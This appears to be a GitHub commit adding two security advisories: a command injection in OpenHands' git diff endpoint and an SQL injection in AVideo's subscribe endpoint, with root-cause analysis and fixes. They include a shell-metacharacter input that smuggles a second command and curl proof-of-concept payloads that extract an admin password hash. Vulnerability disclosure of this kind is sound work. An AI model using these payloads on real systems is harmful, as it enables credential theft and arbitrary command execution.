Skip to content

Commit 1cbeb21

Browse files
1 parent b5c78ee commit 1cbeb21

3 files changed

Lines changed: 203 additions & 0 deletions

File tree

Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-7h8w-hj9j-8rjw",
4+
"modified": "2026-03-25T21:54:55Z",
5+
"published": "2026-03-25T21:54:55Z",
6+
"aliases": [
7+
"CVE-2026-33718"
8+
],
9+
"summary": "OpenHands is Vulnerable to Command Injection through its Git Diff Handler",
10+
"details": "## Summary\n\nA Command Injection vulnerability exists in the `get_git_diff()` method at `openhands/runtime/utils/git_handler.py:134`. The `path` parameter from the `/api/conversations/{conversation_id}/git/diff` API endpoint is passed unsanitized to a shell command, allowing authenticated attackers to execute arbitrary commands in the agent sandbox. The user is already allowed to instruct the agent to execute commands, but this bypasses the normal channels.\n\n---\n\n## Details\n\n### Vulnerable Code Path\n\nThe vulnerability flows through these files:\n\n1. **API Endpoint** (`openhands/server/routes/files.py:267-277`)\n```python\n@app.get('/git/diff')\nasync def git_diff(\n path: str, # <-- User input from HTTP request\n ...\n):\n ...\n diff = await call_sync_from_async(runtime.get_git_diff, path, cwd) # No sanitization\n```\n\n2. **Runtime** (`openhands/runtime/base.py:1231-1233`)\n```python\ndef get_git_diff(self, file_path: str, cwd: str) -> dict[str, str]:\n self.git_handler.set_cwd(cwd)\n return self.git_handler.get_git_diff(file_path) # Passed directly\n```\n\n3. **Vulnerable Method** (`openhands/runtime/utils/git_handler.py:10-12, 134`)\n```python\n# Command template with placeholder\nGIT_DIFF_CMD = 'python3 /openhands/code/openhands/runtime/utils/git_diff.py \"{file_path}\"'\n\n# Line 134 - VULNERABLE: User input directly interpolated\nresult = self.execute(self.git_diff_cmd.format(file_path=file_path), self.cwd)\n```\n\n4. **Shell Execution** (`openhands/runtime/utils/git_diff.py:25-27`)\n```python\ndef run(cmd: str, cwd: str) -> str:\n result = subprocess.run(\n args=cmd,\n shell=True, # <-- Enables shell metacharacter interpretation\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n cwd=cwd\n )\n```\n\n### Root Cause\n\nThe `file_path` parameter is directly interpolated into a shell command string using Python's `.format()` method without any sanitization. When this command is executed with `shell=True`, shell metacharacters like `\"`, `;`, and `#` are interpreted, allowing command injection.\n\n**Example:**\n- Input: `test\"; id #`\n- Constructed command: `python3 /script.py \"test\"; id #\"`\n- Shell interprets as two commands: `python3 /script.py \"test\"` AND `id`\n\n---\n\n## Impact\n\n### Who is Affected\n- All OpenHands deployments exposing the `/api/conversations/{id}/git/diff` endpoint\n- Any authenticated user can exploit this vulnerability, \n\n### Attack Capabilities\nAn attacker can:\n1. **Execute arbitrary commands** on the runtime container as root\n2. **Read sensitive files** including `.env`, API keys, source code\n3. **Write arbitrary files** to inject malicious code\n4. **Establish reverse shells** for persistent access\n5. **Potentially escape the container** if Docker is misconfigured\n\n## Mitigation \n\nUsers should update to the latest version of OpenHands that includes the changes from PR #13051. The fix replaces direct shell string formatting with proper argument array handling or rigorous path sanitization to prevent command chaining.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "openhands"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.5.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/OpenHands/OpenHands/security/advisories/GHSA-7h8w-hj9j-8rjw"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/OpenHands/OpenHands/pull/13051"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://docs.python.org/3/library/shlex.html#shlex.quote"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://docs.python.org/3/library/subprocess.html#security-considerations"
54+
},
55+
{
56+
"type": "PACKAGE",
57+
"url": "https://github.com/OpenHands/OpenHands"
58+
},
59+
{
60+
"type": "WEB",
61+
"url": "https://owasp.org/www-community/attacks/Command_Injection"
62+
}
63+
],
64+
"database_specific": {
65+
"cwe_ids": [
66+
"CWE-78"
67+
],
68+
"severity": "HIGH",
69+
"github_reviewed": true,
70+
"github_reviewed_at": "2026-03-25T21:54:55Z",
71+
"nvd_published_at": null
72+
}
73+
}
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-ffr8-fxhv-fv8h",
4+
"modified": "2026-03-25T21:56:12Z",
5+
"published": "2026-03-25T21:56:12Z",
6+
"aliases": [
7+
"CVE-2026-33723"
8+
],
9+
"summary": "AVideo is Vulnerable to SQL Injection through Subscribe Endpoint via Unsanitized user_id Parameter",
10+
"details": "## Summary\n\nThe `Subscribe::save()` method in `objects/subscribe.php` concatenates the `$this->users_id` property directly into an INSERT SQL query without sanitization or parameterized binding. This property originates from `$_POST['user_id']` in both `subscribe.json.php` and `subscribeNotify.json.php`. An authenticated attacker can inject arbitrary SQL to extract sensitive data from any database table, including password hashes, API keys, and encryption salts.\n\n## Details\n\nThe vulnerability exists because of a disconnect between where `intval()` is applied and where the value is used in SQL.\n\n**Entry points** — `objects/subscribe.json.php:40` and `objects/subscribeNotify.json.php:23`:\n\n```php\n// subscribe.json.php line 40\n$subscribe = new Subscribe(0, $_POST['email'], $_POST['user_id'], User::getId());\n```\n\n**Constructor stores raw value** — `objects/subscribe.php:34`:\n\n```php\npublic function __construct($id, $email = \"\", $user_id = \"\", $subscriber_users_id = \"\")\n{\n // ...\n $this->users_id = $user_id; // Raw $_POST['user_id'], no sanitization\n $this->subscriber_users_id = $subscriber_users_id;\n if (empty($this->id)) {\n $this->loadFromId($this->subscriber_users_id, $user_id, \"\");\n }\n}\n```\n\n**`getSubscribeFromID` sanitizes local copies only** — `objects/subscribe.php:137-139`:\n\n```php\npublic static function getSubscribeFromID($subscriber_users_id, $user_id, $status = \"a\"){\n $subscriber_users_id = intval($subscriber_users_id); // Local variable only\n $user_id = intval($user_id); // Local variable only — $this->users_id is NOT affected\n```\n\nWhen `getSubscribeFromID` finds no matching subscription (the attacker simply targets a user_id they haven't subscribed to), `loadFromId()` returns false. The object's `$this->id` remains null, and `$this->users_id` retains the unsanitized injection payload.\n\n**Vulnerable sink** — `objects/subscribe.php:88`:\n\n```php\npublic function save()\n{\n if (!empty($this->id)) {\n // UPDATE path (not reached when $this->id is null)\n } else {\n $this->status = 'a';\n $sql = \"INSERT INTO subscribes (users_id, email, status, ip, created, modified, subscriber_users_id) \n VALUES ('{$this->users_id}', ...\"; // Direct concatenation of injected value\n }\n $saved = sqlDAL::writeSql($sql); // Called with NO $formats or $values\n```\n\n**`sqlDAL::writeSql` provides no protection** — `objects/mysql_dal.php:102`:\n\nWhen called without `$formats`/`$values` parameters (as `save()` does), the `eval_mysql_bind()` function at line 636 returns `true` without binding any parameters. The already-concatenated SQL string is passed directly to `$global['mysqli']->prepare()` and `execute()`, executing the injection as the prepared statement itself.\n\n## PoC\n\n**Prerequisites:** An authenticated session on the target AVideo instance.\n\n**Step 1: Confirm injection with time-based blind SQLi**\n\n```bash\n# Pick a user_id that the current user has NOT subscribed to (e.g., 99999)\n# The SLEEP(5) will cause a ~5 second delay confirming injection\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n -b 'PHPSESSID=VALID_SESSION_ID' \\\n -d \"user_id=99999'+AND+SLEEP(5)+AND+'1\" \\\n https://target/objects/subscribe.json.php\n# Expected: ~5 second response time (vs <1 second normally)\n```\n\n**Step 2: Extract admin password hash via INSERT subquery**\n\n```bash\n# Inject a subquery that reads the admin password hash into the email column\ncurl -b 'PHPSESSID=VALID_SESSION_ID' \\\n -d \"user_id=99999',(SELECT+pass+FROM+users+WHERE+isAdmin=1+LIMIT+1),'a','1.1.1.1',now(),now(),'1');%23\" \\\n https://target/objects/subscribe.json.php\n```\n\nThis closes the `VALUES` clause with attacker-controlled data and comments out the rest of the query. The admin password hash is inserted into the `email` column of the `subscribes` table, which can be read back via the subscription list API.\n\n**Step 3: Read exfiltrated data**\n\nThe injected row is readable via any endpoint that queries the `subscribes` table and returns the `email` field (e.g., `getAllSubscribes()`).\n\nThe same attack works against `objects/subscribeNotify.json.php` via the same `user_id` parameter.\n\n## Impact\n\n- **Full database read access:** An attacker with any authenticated account can extract arbitrary data from all database tables using INSERT subqueries, including:\n - User password hashes (`users.pass`)\n - Admin credentials\n - Encryption salts and API keys from configuration tables\n - Email addresses and personal data of all users\n- **Data integrity:** The attacker can insert arbitrary rows into the `subscribes` table.\n- **Two affected endpoints:** Both `subscribe.json.php` and `subscribeNotify.json.php` pass raw `$_POST['user_id']` to the vulnerable code path.\n\n## Recommended Fix\n\nApply `intval()` to `$this->users_id` before use in the constructor, or better yet, use parameterized queries in `save()`.\n\n**Option 1 — Sanitize in constructor** (minimal fix):\n\n```php\n// objects/subscribe.php, constructor (line 34)\n- $this->users_id = $user_id;\n+ $this->users_id = intval($user_id);\n```\n\n**Option 2 — Use parameterized query in save()** (recommended):\n\n```php\n// objects/subscribe.php, save() method (lines 87-90)\npublic function save()\n{\n global $global;\n if (!empty($this->id)) {\n $sql = \"UPDATE subscribes SET status = ?, notify = ?, ip = ?, modified = now() WHERE id = ?\";\n $saved = sqlDAL::writeSql($sql, \"sssi\", [$this->status, $this->notify, getRealIpAddr(), $this->id]);\n } else {\n $this->status = 'a';\n $sql = \"INSERT INTO subscribes (users_id, email, status, ip, created, modified, subscriber_users_id) VALUES (?, ?, ?, ?, now(), now(), ?)\";\n $saved = sqlDAL::writeSql($sql, \"isssi\", [intval($this->users_id), $this->email, $this->status, getRealIpAddr(), intval($this->subscriber_users_id)]);\n }\n```\n\nOption 2 is strongly recommended as it also fixes the unsanitized `$this->email`, `$this->status`, and `getRealIpAddr()` values in both the INSERT and UPDATE paths, preventing any future injection through those fields.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "wwbn/avideo"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "26.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-ffr8-fxhv-fv8h"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33723"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/WWBN/AVideo/commit/36dfae22059fbd66fd34bbc5568a838fc0efd66c"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/WWBN/AVideo"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-89"
59+
],
60+
"severity": "HIGH",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-25T21:56:12Z",
63+
"nvd_published_at": "2026-03-23T19:16:42Z"
64+
}
65+
}

0 commit comments

Comments
 (0)